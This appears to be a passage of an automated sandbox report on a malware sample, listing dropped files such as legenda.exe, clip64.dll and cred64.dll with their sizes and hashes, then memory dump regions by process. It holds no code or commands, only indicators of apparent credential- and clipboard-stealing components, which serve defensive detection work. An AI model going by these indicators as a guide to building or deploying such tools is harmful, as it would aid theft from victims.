SHA256aba1a255719a6f8d57b2a743792b63b5b01b90f622375bc1592a493fc526a911
SHA512631764a21f6114adf46b21e07cd082505308ac34fa50ce84e3700ebab85eaa11e76d7dcd21e4ae2c836d46ca972fc0c4aa2b6a4b64ac413c419c8b4fb59a9976
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap9964.exeFilesize
314KB
MD5734fb26320e50c9ebfc76c57df0c8968
SHA193a1d15457078b242bf4eeae362d4b8bd168dd28
SHA256f81ad78d146d13f94da80e42dab650329ced6305ed2eff766cb876b6cf9f2d0d
SHA5128f7f716ea3c36dd44109a38518d3d9db514549f0554704795760d40804566c9a4a194789d18ff9ba017708a9a7ad7689f25a10ecf457e0e16f1115669636d87a
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap9964.exeFilesize
314KB
MD5734fb26320e50c9ebfc76c57df0c8968
SHA193a1d15457078b242bf4eeae362d4b8bd168dd28
SHA256f81ad78d146d13f94da80e42dab650329ced6305ed2eff766cb876b6cf9f2d0d
SHA5128f7f716ea3c36dd44109a38518d3d9db514549f0554704795760d40804566c9a4a194789d18ff9ba017708a9a7ad7689f25a10ecf457e0e16f1115669636d87a
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz6427.exeFilesize
11KB
MD57e93bacbbc33e6652e147e7fe07572a0
SHA1421a7167da01c8da4dc4d5234ca3dd84e319e762
SHA256850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38
SHA512250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz6427.exeFilesize
11KB
MD57e93bacbbc33e6652e147e7fe07572a0
SHA1421a7167da01c8da4dc4d5234ca3dd84e319e762
SHA256850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38
SHA512250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v1983rq.exeFilesize
230KB
MD5f5ebc6dfe0e87753b84832ea008ac726
SHA1d7ce8f55f92e2251dbbf52a90541847a20a6a944
SHA2565e47a6a70105c271272f50539abd2d8e30fa7517e4f2f422929c135ada7c605e
SHA51227e700d94fe471a3f852095b2d43da687cef884687cc2208377ee8cb9bcd2b6a43b317a67df935f5185a14621e25c1940aec6aaf7b965f152828f6887c2662b5
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v1983rq.exeFilesize
230KB
MD5f5ebc6dfe0e87753b84832ea008ac726
SHA1d7ce8f55f92e2251dbbf52a90541847a20a6a944
SHA2565e47a6a70105c271272f50539abd2d8e30fa7517e4f2f422929c135ada7c605e
SHA51227e700d94fe471a3f852095b2d43da687cef884687cc2208377ee8cb9bcd2b6a43b317a67df935f5185a14621e25c1940aec6aaf7b965f152828f6887c2662b5
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p2vfroui.t32.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dllFilesize
89KB
MD516cf28ebb6d37dbaba93f18320c6086e
SHA1eae7d4b7a9636329065877aabe8d4f721a26ab25
SHA256c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106
SHA512f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2
-
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dllFilesize
89KB
MD516cf28ebb6d37dbaba93f18320c6086e
SHA1eae7d4b7a9636329065877aabe8d4f721a26ab25
SHA256c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106
SHA512f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2
-
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dllFilesize
89KB
MD516cf28ebb6d37dbaba93f18320c6086e
SHA1eae7d4b7a9636329065877aabe8d4f721a26ab25
SHA256c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106
SHA512f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2
-
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dllFilesize
223B
MD594cbeec5d4343918fd0e48760e40539c
SHA1a049266c5c1131f692f306c8710d7e72586ae79d
SHA25648eb3ca078da2f5e9fd581197ae1b4dfbac6d86040addbb305e305c014741279
SHA5124e92450333d60b1977f75c240157a8589cfb1c80a979fbe0793cc641e13556004e554bc6f9f4853487dbcfcdc2ca93afe610649e9712e91415ed3f2a60d4fec0
-
memory/3388-1133-0x0000000006F40000-0x0000000006FB6000-memory.dmpFilesize
472KB
-
memory/3388-231-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-1131-0x0000000006710000-0x00000000068D2000-memory.dmpFilesize
1.8MB
-
memory/3388-1132-0x00000000068E0000-0x0000000006E0C000-memory.dmpFilesize
5.2MB
-
memory/3388-1135-0x0000000004AA0000-0x0000000004AB0000-memory.dmpFilesize
64KB
-
memory/3388-1129-0x0000000004AA0000-0x0000000004AB0000-memory.dmpFilesize
64KB
-
memory/3388-210-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-211-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-213-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-215-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-217-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-219-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-221-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-224-0x00000000006D0000-0x000000000071B000-memory.dmpFilesize
300KB
-
memory/3388-226-0x0000000004AA0000-0x0000000004AB0000-memory.dmpFilesize
64KB
-
memory/3388-228-0x0000000004AA0000-0x0000000004AB0000-memory.dmpFilesize
64KB
-
memory/3388-230-0x0000000004AA0000-0x0000000004AB0000-memory.dmpFilesize
64KB
-
memory/3388-227-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-223-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-1134-0x0000000006FD0000-0x0000000007020000-memory.dmpFilesize
320KB
-
memory/3388-233-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-235-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-237-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-239-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-241-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-243-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-245-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-247-0x0000000005060000-0x000000000509E000-memory.dmpFilesize
248KB
-
memory/3388-1120-0x00000000050D0000-0x00000000056E8000-memory.dmpFilesize
6.1MB
-
memory/3388-1121-0x0000000005770000-0x000000000587A000-memory.dmpFilesize
1.0MB
-
memory/3388-1122-0x00000000058B0000-0x00000000058C2000-memory.dmpFilesize
72KB
-
memory/3388-1123-0x00000000058D0000-0x000000000590C000-memory.dmpFilesize
240KB
-
memory/3388-1124-0x0000000004AA0000-0x0000000004AB0000-memory.dmpFilesize
64KB
-
memory/3388-1126-0x0000000005BC0000-0x0000000005C52000-memory.dmpFilesize
584KB
-
memory/3388-1127-0x0000000005C60000-0x0000000005CC6000-memory.dmpFilesize
408KB
-
memory/3388-1128-0x0000000004AA0000-0x0000000004AB0000-memory.dmpFilesize
64KB
-
memory/3388-1130-0x0000000004AA0000-0x0000000004AB0000-memory.dmpFilesize
64KB
-
memory/3592-161-0x0000000000860000-0x000000000086A000-memory.dmpFilesize
40KB
-
memory/4000-1141-0x0000000000AB0000-0x0000000000AE2000-memory.dmpFilesize
200KB
-
memory/4000-1142-0x00000000056D0000-0x00000000056E0000-memory.dmpFilesize
64KB
-
memory/4208-187-0x0000000004B70000-0x0000000004B82000-memory.dmpFilesize
72KB
-
memory/4208-189-0x0000000004B70000-0x0000000004B82000-memory.dmpFilesize
72KB
-
memory/4208-177-0x0000000004B70000-0x0000000004B82000-memory.dmpFilesize
72KB
-
memory/4208-200-0x0000000000400000-0x00000000004BA000-memory.dmpFilesize
744KB
-
memory/4208-185-0x0000000004B70000-0x0000000004B82000-memory.dmpFilesize
72KB
-
memory/4208-193-0x0000000004B70000-0x0000000004B82000-memory.dmpFilesize
72KB
-
memory/4208-203-0x0000000004CA0000-0x0000000004CB0000-memory.dmpFilesize
64KB
-
memory/4208-183-0x0000000004B70000-0x0000000004B82000-memory.dmpFilesize
72KB
-
memory/4208-197-0x0000000004B70000-0x0000000004B82000-memory.dmpFilesize
72KB
-
memory/4208-199-0x0000000004B70000-0x0000000004B82000-memory.dmpFilesize
72KB
-
memory/4208-191-0x0000000004B70000-0x0000000004B82000-memory.dmpFilesize
72KB
-
memory/4208-170-0x0000000004CA0000-0x0000000004CB0000-memory.dmpFilesize
64KB
-
memory/4208-201-0x0000000004CA0000-0x0000000004CB0000-memory.dmpFilesize
64KB
-
memory/4208-202-0x0000000004CA0000-0x0000000004CB0000-memory.dmpFilesize
64KB
-
memory/4208-195-0x0000000004B70000-0x0000000004B82000-memory.dmpFilesize
72KB
-
memory/4208-205-0x0000000000400000-0x00000000004BA000-memory.dmpFilesize
744KB
-
memory/4208-179-0x0000000004B70000-0x0000000004B82000-memory.dmpFilesize
72KB
-
memory/4208-181-0x0000000004B70000-0x0000000004B82000-memory.dmpFilesize
72KB
-
memory/4208-175-0x0000000004B70000-0x0000000004B82000-memory.dmpFilesize
72KB
-
memory/4208-173-0x0000000004B70000-0x0000000004B82000-memory.dmpFilesize
72KB
-
memory/4208-172-0x0000000004B70000-0x0000000004B82000-memory.dmpFilesize
72KB
-
memory/4208-167-0x0000000004CB0000-0x0000000005254000-memory.dmpFilesize
5.6MB
-
memory/4208-168-0x00000000004C0000-0x00000000004ED000-memory.dmpFilesize
180KB
-
memory/4208-169-0x0000000004CA0000-0x0000000004CB0000-memory.dmpFilesize
64KB
-
memory/4208-171-0x0000000004CA0000-0x0000000004CB0000-memory.dmpFilesize
64KB
-
memory/4760-1187-0x000001CF58680000-0x000001CF586A2000-memory.dmpFilesize
136KB
-
memory/4760-1197-0x000001CF586C0000-0x000001CF586D0000-memory.dmpFilesize
64KB
-
memory/4760-1196-0x000001CF586C0000-0x000001CF586D0000-memory.dmpFilesize
64KB
-
memory/4760-1195-0x000001CF586C0000-0x000001CF586D0000-memory.dmpFilesize
64KB
-
memory/4760-1194-0x000001CF586C0000-0x000001CF586D0000-memory.dmpFilesize
64KB
-
memory/4760-1193-0x000001CF586C0000-0x000001CF586D0000-memory.dmpFilesize
64KB
-
memory/4760-1192-0x000001CF586C0000-0x000001CF586D0000-memory.dmpFilesize
64KB